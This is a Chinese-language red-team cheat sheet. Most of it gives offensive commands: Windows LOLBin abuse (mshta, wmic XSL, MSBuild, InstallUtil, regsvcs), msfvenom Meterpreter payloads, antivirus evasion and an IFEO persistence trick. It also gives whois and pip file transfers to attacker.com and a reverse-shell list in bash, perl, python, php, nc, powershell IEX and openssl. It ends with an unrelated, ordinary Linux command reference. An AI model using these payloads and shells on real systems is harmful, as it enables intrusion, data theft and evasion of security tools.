\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP
由于二进制文件desktopimgdownldr中的FunctionSHExpandEnvironmentStringsW使用硬编码地址,所以非管理员也能使用,而且无需注册表。
%systemroot%\Personalization\LockScreenImage
普通用户运行:
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 /eventName:desktopimgdownldr
管理员执行成功了。同时生成了注册表。
C:\Windows\system32>desktopimgdownldr
/lockscreenurl:http://xx.xxx.xx.xx/test.ps1 /eventName:randomname
我的机器环境使用了COM +注册目录。因为修改了%systemroot%目录导致文件找不到它。
mklink /J "%TEMP%\Registration" C:\windows\Registration && set
"SYSTEMROOT=%TEMP%" && cmd /c desktopimgdownldr.exe
/lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr &
rmdir /s /q "%TEMP%\Registration"
重新建立软连接后可以在普通用户下成功运行。
CertReq
ertreq命令可用于从证书颁发机构(CA)请求证书,从CA检索对先前请求的响应,从.inf文件创建新请求,接受并安装对请求的响应,根据现有的CA证书或请求构造交叉认证或合格的从属请求,并签署交叉认证或合格的从属请求。 原本用于帮助windows进行证书认证。还能够作为上传,下载的重要工具。
用法
上传请求:
CertReq -Post -config https://example.org/ c:\windows\win.ini
下载POST请求,并显示内容(支持HTTP与HTTPS):
CertReq -Post -config https://example.org/ c:\windows\win.ini
下载POST请求,并保存到本地(支持HTTP与HTTPS):
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Debug
个人测试的时候小文件是可以直接下载,估计50多kb左右,大文件会报错。
小文件:
大文件:
Unix-GTFOBins
windows有LOLbins,Unix下当然也有。
whois
whois用法
攻击机器监听
nc -l -p 12345 < "file_to_send"
靶机
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT > "$LFILE"
同理也能传递二进制文件,进行base64位编码。
base64 "file_to_send" | nc -l -p 12345
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT | base64 -d > "$LFILE"
PIP
PIP用法
利用php install来下载文件。
export URL=http://attacker.com/file_to_get
export LFILE=/tmp/file_to_save
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py
pip install $TF
Msiexec
Windows 操作系统附带了一个 Windows 安装程序引擎,该引擎由 MSI 程序包用于应用程序的安装。解释包和安装产品的可执行程序就是 Msiexec.exe。
通过msfvenom发起msiexec攻击
让我们利用MeterpreterWindows攻击载荷生成 MSI 包文件(1.msi)如下所示,并作为侦听器启动multi/handler程序进行监听。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109lport=1234 -f msi > 1.msi
在msiexec 的帮助下,一旦您在远程计算机上执行 1.msi 文件,你会得到反向连接在您的本地计算机(Kali Linux).
msiexec /q /i http://192.168.1.109/1.msi
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
获得meterpreter会话如下:
MSBuild
意思就是msbuild可以编译执行csharp代码。
在这里我们需要知道的是msbuild的路径
加载32位的shellcode需要用32位的msbuild
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
加载64位的shellcode需要用64位的msbuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
我们这里用64位的shellcode和64位的win7来操作。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
生成shellcode之后我们需要用到一个三好学生师傅的https://github.com/3gstudent/msbuild-inline-task
我们用的是executes x64 shellcode.xml
的模板,把里面45行之后的改为自己的shellcode
然后msf监听
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j
在目标机器上运行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"
然后会话上线,某数字卫士无反应,并且正常执行命令
更多关于msbuild的内容可以参考三好学生师傅的文章
Wmic
WMIC .exe是一个 Microsoft 工具,它提供了一个 WMI命令行界面,用于本地和远程计算机的各种管理功能,还用于在本地或远程执行系统设置、停止进程和执行脚本等查询。因此,它可以调用 XSL 脚本(可增强样式表语言)。
通过Koadic发起Wmic.exe攻击
koadic是一个命令控制(C2)工具,类似Metasploit和Powershell Empire。使用koadic我们生成恶意XSL文件。koadic安装完成后,您可以运行./koadic 文件以启动 koadic,然后通过运行以下命令开始加载stager/js/wmic 程序,并将 SRVHOST 设置为程序回连IP。
use stager/js/wmic
set SRVHOST 192.168.1.107
run
执行 WMIC 以下命令,从远程服务器下载和运行恶意 XSL 文件:
wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"
一旦恶意的XSL文件在目标计算机上执行,你将有一个僵尸连接,就像Metasploit回连的情况一样。
模板
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> </ms:script>
</stylesheet>
参考:利用wmic调用xsl文件的分析与利用 这里还有一个poc https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl
绑定程序运行
当test.exe运行时,cmd.exe也将运行
wmic.exe process call create "C:\\Windows\\system32\\reg.exe add
\\\\"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File
Execution
Options\\test.exe\\" /v \\"Debugger\\" /t REG_SZ /d \\"cmd.exe\\"/
f"
bypass
摘自https://mp.weixin.qq.com/s/LGe3SuCGiNMHNbfN6oTApw
在后续的测试变形中发现先执行wmic os,然后执行正常的命令即可绕过,如下所示:
对于wmic的绕过也可以先执行wmic然后exit退出,然后继续执行原始的下载命令即可,当然wmic也有其他方式可以进行绕过这里不展开介绍。
小扩展
下面介绍一个小的利用方式添加用户,其余白名单执行和利用方式可以自行研究~。这种调用的方式最早应该是由Casey Smith@subTee大佬分享一个技巧,利用wmic从本地或者远程调用xsl的方式来执行携带有payload的xsl文件。
首先执行wmic os。
然后再次执行wmic os get下载命令即可成功添加,此时未有拦截,如下所示:
当然,添加用户到到管理员组需要管理员权限,所以我在这里用了本地的管理员进行的执行,脚本主要是调用了windows的2个api函数进行创建用户和添加管理员组,分别为:
NetUserAdd //添加用户
NetLocalGroupAddMembers //添加用户到管理员
可能有人会问到xsl文件怎么执行的添加用户到管理员,因为这个整个流程是先将添加用户的c#脚本先转化为dll文件,然后使用DotNetToJScript将该dll文件转为为js,最后将转化为的js文件放在要落地执行的xsl文件里面。对于c#语言或者c++语言调用windows api添加用户至管理员组网上已经有很多代码,拿过来改改就行。然后使用Visual Studio的开发者工具将c#文件转化为dll文件。
语法:csc /target:library /out:输出文件 待转化的c#文件
然后使用DotNetToJScript将文件转化为js脚本文件(DotNetToJScript这个工具是由17年James Forshaw开源了一个工具DotNetToJScript,能够利用JS、Vbs等脚本加载.Net程序。)转化语法也比较简单。如下所示:
可以看出直接DotNetToJScript –o 待输出js文件 待转化文件。(但是该工具不能够绕过windwos 的amsi检测机制,如果要想绕过该防护可以使用另外一个工具GadgetToJScript(https://github.com/med0x2e/GadgetToJScript)
来看下DotNetToJScript工具转化后的js文件如下图所示:
处理流程大概是就是js通过调用一些windwos api的函数来对前面base64编码过后的代码进行解码,然后解码过后进行反序列化操作,因为工具是先序列化然后再base64编码。最后把文件写入xsl文件定义为Jscript语言,借助.net环境来实现代码功能。绕过之后貌似不再拦截原始的下载命令,但是需要退出该杀软才可以再次拦截原始的certutil或者wmic命令,(有的时候即使退出再重新开启也不会拦截)即使再次进入拦截,通过上述方法继续可以执行下载。
对于调用windows api绕过部分杀软添加管理员也是老生常谈了,也可以修改为接收参数的方式进行,把写好的文件编译为exe即可使用,相信聪明的你应该知道怎么做了~~~
绕过并添加到管理员组:
hta
Mshta.exe运行微软HTML应用程序主机,微软HTML应用程序主机是Windows应用用程序,负责运行HTA(HTML应用程序)文件。我们通运行HTML文件执行JavaScript和VBScript脚本。Mshta.exe可以解释这种文件。
下载姿势
添加最小化和自动退出hta程序的功能,执行过程中会最小化hta窗口,下载文件结束后自动退出hta程序
将以下代码保存为hta文件
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.1.1/1.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\test\\1.exe", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
利用msf攻击
Metasploit 包含生成恶意HTA文件的“HTA WebServer”模块,恶意文件通过Powershell运行有效负载。当用户导航到HTA文件时,将在执行有效负载之前由IE两次提示它们。
用户导航到HTA文件时,将在执行有效负载之前由IE两次提示它们。
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) >set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) >set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) >exploit
现在可以在受害者机器上执行mshta.exe恶意代码获得meterpreter会话
在受害者机器上通过mshta.exe访问恶意hta远程文件,你就可以在本机获得shell。
mshta.exe http://192.168.1.109:8080/5EEiDSd70ET0k.hta
获得受害主机shell:
bitsadmin
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。xp以后的Windows系统自带
bitsadmin /transfer n http://192.168.1.1/1.exe C:\test\update\1.exe
不支持https、ftp协议,php python带的服务器会出错
Installutil
Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来
安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用
说明:Installutil.exe所在路径没有被系统添加PATH环境变量中,因此,Installutil命令无法
识别。
相关工具
https://github.com/khr0x40sh/WhiteListEvasion
msf攻击
可以用来bypass
exploit/windows/local/applocker_bypass
Installutil&csc配合使用
通过msfvenom生成C#的shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
下载InstallUtil-Shellcode.cs,将上面生成的shellcode复制到该cs文件中
https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260
csc编译InstallUtil-ShellCode.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
编译生成的文件后缀名无所谓exe dll txt都可以,但只能InstallUtil.exe来触发
InstallUtil.exe执行 反弹shell
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe
参考https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/
regasm和regsvcs
regasm和regsvcs都可以用来反弹shell的,而且方式也一样
下载这个cs文件 ,然后替换你的shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
使用sn.exe生成公钥和私钥,如果没有sn命令你可能需要安装vs
sn -k key.snk
编译dll,注意文件的路径
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
用这两者上线
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll
或者这样
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll
上线成功。
uuid
文章https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
红队技巧-利用uuid加载shellcode
文章https://mp.weixin.qq.com/s/1DvYNDiZc2iV1pXEn7GZEA
免杀
系列推荐:https://github.com/TideSec/BypassAntiVirus
payload分离免杀
免杀loader(20210220)
https://github.com/knownsec/shellcodeloader
https://github.com/1y0n/AV_Evasion_Tool
https://github.com/lengjibo/FourEye
shellcode loader
借助第三方加载器,将shellcode加载到内存中来执行。
https://github.com/clinicallyinane/shellcode_launcher
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c
靶机执行
shellcode_launcher.exe -i test.c
msf监听正常上线
反弹shell
监听
nc
nc -lvvp 4444
bash
bash -i >& /dev/tcp/172.16.1.130/4444 0>&1
exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done
perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
OpenSsl加密隧道反弹
https://mp.weixin.qq.com/s/-3uWqvn_sKH6zHYqdVTwuw
1、首先生成自签名证书,输入的时候默认回车即可:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
2、服务端监听8888端口:
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
3、Linux下使用mkfifo进行反弹shell:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s
推荐linux使用
linux命令笔记
基础常用命令
-
某个命令 --h
,对这个命令进行解释 -
某个命令 --help
,解释这个命令(更详细) -
man某个命令
,文档式解释这个命令(更更详细)(执行该命令后,还可以按/+关键字进行查询结果的搜索) -
Ctrl + c
,结束命令 -
TAB键
,自动补全命令(按一次自动补全,连续按两次,提示所有以输入开头字母的所有命令) -
键盘上下键
,输入临近的历史命令 -
history
,查看所有的历史命令 -
Ctrl + r
,进入历史命令的搜索功能模式 -
clear
,清除屏幕里面的所有命令 -
pwd
,显示当前目录路径(常用) -
firefox&
,最后后面的 & 符号,表示使用后台方式打开 Firefox,然后显示该进程的 PID 值 -
jobs
,查看后台运行的程序列表 -
ifconfig
,查看内网 IP 等信息(常用) -
curl ifconfig.me
,查看外网 IP 信息 -
curl ip.cn
,查看外网 IP 信息 -
locate 搜索关键字
,快速搜索系统文件/文件夹(类似 Windows 上的 everything 索引式搜索)(常用)
updatedb
,配合上面的 locate,给 locate 的索引更新(locate 默认是一天更新一次索引)(常用)
-
date
,查看系统时间(常用)
date -s20080103
,设置日期(常用)date -s18:24
,设置时间,如果要同时更改 BIOS 时间,再执行hwclock --systohc
(常用)
-
cal
,在终端中查看日历,肯定没有农历显示的 -
uptime
,查看系统已经运行了多久,当前有几个用户等信息(常用) -
cat 文件路名
,显示文件内容(属于打印语句) -
cat -n 文件名
,显示文件,并每一行内容都编号 -
more 文件名
,用分页的方式查看文件内容(按 space 翻下一页,按 Ctrl + B 返回上页) -
less
文件名,用分页的方式查看文件内容(带上下翻页)
- 按 j 向下移动,按 k 向上移动
- 按 / 后,输入要查找的字符串内容,可以对文件进行向下查询,如果存在多个结果可以按 n 调到下一个结果出
- 按 ? 后,输入要查找的字符串内容,可以对文件进行向上查询,如果存在多个结果可以按 n 调到下一个结果出
-
shutdown
shutdown -hnow
,立即关机shutdown -h+10
,10 分钟后关机shutdown -h23:30
,23:30 关机shutdown -rnew
,立即重启
-
poweroff
,立即关机(常用) -
reboot
,立即重启(常用) -
zip mytest.zip /opt/test/
,把 /opt 目录下的 test/ 目录进行压缩,压缩成一个名叫 mytest 的 zip 文件
unzip mytest.zip
,对 mytest.zip 这个文件进行解压,解压到当前所在目录unzip mytest.zip -d /opt/setups/
,对 mytest.zip 这个文件进行解压,解压到 /opt/setups/ 目录下
-
tar -cvf mytest.tar mytest/
,对 mytest/ 目录进行归档处理(归档和压缩不一样) -
tar -xvf mytest.tar
,释放 mytest.tar 这个归档文件,释放到当前目录
tar -xvf mytest.tar -C /opt/setups/
,释放 mytest.tar 这个归档文件,释放到 /opt/setups/ 目录下
-
last
,显示最近登录的帐户及时间 -
lastlog
,显示系统所有用户各自在最近登录的记录,如果没有登录过的用户会显示 从未登陆过 -
ls
,列出当前目录下的所有没有隐藏的文件 / 文件夹。
ls -a
,列出包括以.号开头的隐藏文件 / 文件夹(也就是所有文件)ls -R
,显示出目录下以及其所有子目录的文件 / 文件夹(递归地方式,不显示隐藏的文件)ls -a -R
,显示出目录下以及其所有子目录的文件 / 文件夹(递归地方式,显示隐藏的文件)ls -al
,列出目录下所有文件(包含隐藏)的权限、所有者、文件大小、修改时间及名称(也就是显示详细信息)ls -ld 目录名
,显示该目录的基本信息ls -t
,依照文件最后修改时间的顺序列出文件名。ls -F
,列出当前目录下的文件名及其类型。以 / 结尾表示为目录名,以 ***** 结尾表示为可执行文件,以 @ 结尾表示为符号连接ls -lg
,同上,并显示出文件的所有者工作组名。ls -lh
,查看文件夹类文件详细信息,文件大小,文件修改时间ls /opt | head -5
,显示 opt 目录下前 5 条记录ls -l | grep '.jar'
,查找当前目录下所有 jar 文件ls -l /opt |grep "^-"|wc -l
,统计 opt 目录下文件的个数,不会递归统计ls -lR /opt |grep "^-"|wc -l
,统计 opt 目录下文件的个数,会递归统计ls -l /opt |grep "^d"|wc -l
,统计 opt 目录下目录的个数,不会递归统计ls -lR /opt |grep "^d"|wc -l
,统计 opt 目录下目录的个数,会递归统计ls -lR /opt |grep "js"|wc -l
,统计 opt 目录下 js 文件的个数,会递归统计ls -l
,列出目录下所有文件的权限、所有者、文件大小、修改时间及名称(也就是显示详细信息,不显示隐藏文件)。显示出来的效果如下:
-rwxr-xr-x. 1 root root 4096 3月 26 10:57,其中最前面的 - 表示这是一个普通文件
lrwxrwxrwx. 1 root root 4096 3月 26 10:57,其中最前面的 l 表示这是一个链接文件,类似 Windows 的快捷方式
drwxr-xr-x. 5 root root 4096 3月 26 10:57,其中最前面的 d 表示这是一个目录
-
cd
,目录切换
cd ..
,改变目录位置至当前目录的父目录(上级目录)。cd ~
,改变目录位置至用户登录时的工作目录。cd 回车
,回到家目录cd -
,上一个工作目录cd dir1/
,改变目录位置至 dir1 目录下。cd ~user
,改变目录位置至用户的工作目录。cd ../user
,改变目录位置至相对路径user的目录下。cd /../..
,改变目录位置至绝对路径的目录位置下。
-
cp 源文件 目标文件
,复制文件
cp -r 源文件夹 目标文件夹
,复制文件夹cp -r -v 源文件夹 目标文件夹
,复制文件夹(显示详细信息,一般用于文件夹很大,需要查看复制进度的时候)cp /usr/share/easy-rsa/2.0/keys/{ca.crt,server.{crt,key},dh2048.pem,ta.key} /etc/openvpn/keys/
,复制同目录下花括号中的文件
-
tar cpf - . | tar xpf - -C /opt
,复制当前所有文件到 /opt 目录下,一般如果文件夹文件多的情况下用这个更好,用 cp 比较容易出问题 -
mv 文件 目标文件夹
,移动文件到目标文件夹
mv 文件
,不指定目录重命名后的名字,用来重命名文件
-
touch 文件名
,创建一个空白文件/更新已有文件的时间(后者少用) -
mkdir 文件夹名
,创建文件夹 -
mkdir -p /opt/setups/nginx/conf/
,创建一个名为 conf 文件夹,如果它的上级目录 nginx 没有也会跟着一起生成,如果有则跳过 -
rmdir 文件夹名
,删除文件夹(只能删除文件夹里面是没有东西的文件夹) -
rm 文件
,删除文件
rm -r 文件夹
,删除文件夹rm -r -i 文件夹
,在删除文件夹里的文件会提示(要的话,在提示后面输入yes)rm -r -f 文件夹
,强制删除rm -r -f 文件夹1/ 文件夹2/ 文件夹3/
删除多个
-
find
,高级查找
find . -name *lin*
,其中 . 代表在当前目录找,-name 表示匹配文件名 / 文件夹名,lin 用通配符搜索含有lin的文件或是文件夹find . -iname *lin*
,其中 . 代表在当前目录找,-iname 表示匹配文件名 / 文件夹名(忽略大小写差异),lin 用通配符搜索含有lin的文件或是文件夹find / -name *.conf
,其中 / 代表根目录查找,*.conf代表搜索后缀会.conf的文件find /opt -name .oh-my-zsh
,其中 /opt 代表目录名,.oh-my-zsh 代表搜索的是隐藏文件 / 文件夹名字为 oh-my-zsh 的find /opt -type f -iname .oh-my-zsh
,其中 /opt 代表目录名,-type f 代表只找文件,.oh-my-zsh 代表搜索的是隐藏文件名字为 oh-my-zsh 的find /opt -type d -iname .oh-my-zsh
,其中 /opt 代表目录名,-type d 代表只找目录,.oh-my-zsh 代表搜索的是隐藏文件夹名字为 oh-my-zsh 的find . -name "lin*" -exec ls -l {} \;
,当前目录搜索lin开头的文件,然后用其搜索后的结果集,再执行ls -l的命令(这个命令可变,其他命令也可以),其中 -exec 和 {} ; 都是固定格式find /opt -type f -size +800M -print0 | xargs -0 du -h | sort -nr
,找出 /opt 目录下大于 800 M 的文件find / -name "*tower*" -exec rm {} \;
,找到文件并删除find / -name "*tower*" -exec mv {} /opt \;
,找到文件并移到 opt 目录find . -name "*" |xargs grep "youmeek"
,递归查找当前文件夹下所有文件内容中包含 youmeek 的文件find . -size 0 | xargs rm -f &
,删除当前目录下文件大小为0的文件du -hm --max-depth=2 | sort -nr | head -12
,找出系统中占用容量最大的前 12 个目录
-
cat /etc/resolv.conf
,查看 DNS 设置 -
netstat -tlunp
,查看当前运行的服务,同时可以查看到:运行的程序已使用端口情况 -
env
,查看所有系统变量 -
export
,查看所有系统变量 -
echo
echo $JAVA_HOME
,查看指定系统变量的值,这里查看的是自己配置的 JAVA_HOME。echo "字符串内容"
,输出 "字符串内容"echo > aa.txt
,清空 aa.txt 文件内容(类似的还有:: > aa.txt
,其中 : 是一个占位符, 不产生任何输出)
-
unset $JAVA_HOME
,删除指定的环境变量 -
ln -s /opt/data /opt/logs/data
,表示给 /opt/logs 目录下创建一个名为 data 的软链接,该软链接指向到 /opt/data -
grep
shell grep -H '安装' *.sh
,查找当前目录下所有 sh 类型文件中,文件内容包含安装
的当前行内容grep 'test' java*
,显示当前目录下所有以 java 开头的文件中包含 test 的行grep 'test' spring.ini docker.sh
,显示当前目录下 spring.ini docker.sh 两个文件中匹配 test 的行
-
ps
ps –ef|grep java
,查看当前系统中有关 java 的所有进程ps -ef|grep --color java
,高亮显示当前系统中有关 java 的所有进程
-
kill
kill 1234
,结束 pid 为 1234 的进程kill -9 1234
,强制结束 pid 为 1234 的进程(慎重)killall java
,结束同一进程组内的所有为 java 进程ps -ef|grep hadoop|grep -v grep|cut -c 9-15|xargs kill -9
,结束包含关键字 hadoop 的所有进程
-
head
head -n 10 spring.ini
,查看当前文件的前 10 行内容
-
tail
tail -n 10 spring.ini
,查看当前文件的后 10 行内容tail -200f 文件名
,查看文件被更新的新内容尾 200 行,如果文件还有在新增可以动态查看到(一般用于查看日记文件)
用户、权限-相关命令
-
使用 pem 证书登录:
ssh -i /opt/mykey.pem [email protected]
- 证书权限不能太大,不然无法使用:
chmod 600 mykey.pem
- 证书权限不能太大,不然无法使用:
-
hostname
,查看当前登陆用户全名 -
cat /etc/group
,查看所有组 -
cat /etc/passwd
,查看所有用户 -
groups youmeek
,查看 youmeek 用户属于哪个组 -
useradd youmeek -g judasn
,添加用户并绑定到 judasn 组下 -
userdel -r youmeek
,删除名字为 youmeek 的用户
- 参数:
-r
,表示删除用户的时候连同用户的家目录一起删除
- 参数:
-
修改普通用户 youmeek 的权限跟 root 权限一样:
-
常用方法(原理是把该用户加到可以直接使用 sudo 的一个权限状态而已):
- 编辑配置文件:
vim /etc/sudoers
- 找到 98 行(预估),有一个:
root ALL=(ALL) ALL
,在这一行下面再增加一行,效果如下:
root ALL=(ALL) ALL youmeek ALL=(ALL) ALL
- 编辑配置文件:
-
另一种方法:
- 编辑系统用户的配置文件:
vim /etc/passwd
,找到 root 和 youmeek 各自开头的那一行,比如 root 是:root:x:0:0:root:/root:/bin/zsh
,这个代表的含义为:用户名:密码:UserId:GroupId:描述:家目录:登录使用的 shell - 通过这两行对比,我们可以直接修改 youmeek 所在行的 UserId 值 和 GroupId 值,都改为 0。
- 编辑系统用户的配置文件:
-
-
groupadd judasn
,添加一个名为 judasn 的用户组 -
groupdel judasn
,删除一个名为 judasn 的用户组(前提:先删除组下面的所有用户) -
usermod 用户名 -g 组名
,把用户修改到其他组下 -
passwd youmeek
,修改 youmeek 用户的密码(前提:只有 root 用户才有修改其他用户的权限,其他用户只能修改自己的) -
chmod 777 文件名/目录
,给指定文件增加最高权限,系统中的所有人都可以进行读写。
- linux 的权限分为 rwx。r 代表:可读,w 代表:可写,x 代表:可执行
- 这三个权限都可以转换成数值表示,r = 4,w = 2,x = 1,- = 0,所以总和是 7,也就是最大权限。第一个 7 是所属主(user)的权限,第二个 7 是所属组(group)的权限,最后一位 7 是非本群组用户(others)的权限。
chmod -R 777 目录
表示递归目录下的所有文件夹,都赋予 777 权限chown myUsername:myGroupName myFile
表示修改文件所属用户、组chown -R myUsername:myGroupName myFolder
表示递归修改指定目录下的所有文件权限
-
su
:切换到 root 用户,终端目录还是原来的地方(常用)
su -
:切换到 root 用户,其中 - 号另起一个终端并切换账号su 用户名
,切换指定用户帐号登陆,终端目录还是原来地方。su - 用户名
,切换到指定用户帐号登陆,其中 - 号另起一个终端并切换账号
-
exit
,注销当前用户(常用) -
sudo 某个命令
,使用管理员权限使用命令,使用 sudo 回车之后需要输入当前登录账号的密码。(常用) -
passwd
,修改当前用户密码(常用) -
添加临时账号,并指定用户根目录,并只有可读权限方法
- 添加账号并指定根目录(用户名 tempuser):
useradd -d /data/logs -m tempuser
- 设置密码:
passwd tempuser
回车设置密码 - 删除用户(该用户必须退出 SSH 才能删除成功),也会同时删除组:
userdel tempuser
- 添加账号并指定根目录(用户名 tempuser):
磁盘管理
-
df -h
,自动以合适的磁盘容量单位查看磁盘大小和使用空间
df -k
,以磁盘容量单位 K 为数值结果查看磁盘使用情况df -m
,以磁盘容量单位 M 为数值结果查看磁盘使用情况
-
du -sh /opt
,查看 opt 这个文件夹大小 (h 的意思 human-readable 用人类可读性较好方式显示,系统会自动调节单位,显示合适大小的单位) -
du -sh ./*
,查看当前目录下所有文件夹大小 (h 的意思 human-readable 用人类可读性较好方式显示,系统会自动调节单位,显示合适大小的单位) -
du -sh /opt/setups/
,显示 /opt/setups/ 目录所占硬盘空间大小(s 表示 –summarize 仅显示总计,即当前目录的大小。h 表示 –human-readable 以 KB,MB,GB 为单位,提高信息的可读性) -
mount /dev/sdb5 /newDir/
,把分区 sdb5 挂载在根目录下的一个名为 newDir 的空目录下,需要注意的是:这个目录最好为空,不然已有的那些文件将看不到,除非卸载挂载。
- 挂载好之后,通过:
df -h
,查看挂载情况。
- 挂载好之后,通过:
-
umount /newDir/
,卸载挂载,用目录名
- 如果这样卸载不了可以使用:
umount -l /newDir/
- 如果这样卸载不了可以使用:
-
umount /dev/sdb5
,卸载挂载,用分区名
wget 下载文件
- 常规下载:
wget http://www.gitnavi.com/index.html
- 自动断点下载:
wget -c http://www.gitnavi.com/index.html
- 后台下载:
wget -b http://www.gitnavi.com/index.html
- 伪装代理名称下载:
wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.gitnavi.com/index.html
- 限速下载:
wget --limit-rate=300k http://www.gitnavi.com/index.html
- 批量下载:
wget -i /opt/download.txt
,一个下载地址一行 - 后台批量下载:
wget -b -c -i /opt/download.txt
,一个下载地址一行
其他常用命令
- 编辑 hosts 文件:
vim /etc/hosts
,添加内容格式:127.0.0.1 www.youmeek.com
- RPM 文件操作命令:
- 安装
rpm -i example.rpm
,安装 example.rpm 包rpm -iv example.rpm
,安装 example.rpm 包并在安装过程中显示正在安装的文件信息rpm -ivh example.rpm
,安装 example.rpm 包并在安装过程中显示正在安装的文件信息及安装进度
- 查询
rpm -qa | grep jdk
,查看 jdk 是否被安装rpm -ql jdk
,查看 jdk 是否被安装
- 卸载
rpm -e jdk
,卸载 jdk(一般卸载的时候都要先用 rpm -qa 看下整个软件的全名)
- 安装
- YUM 软件管理:
yum install -y httpd
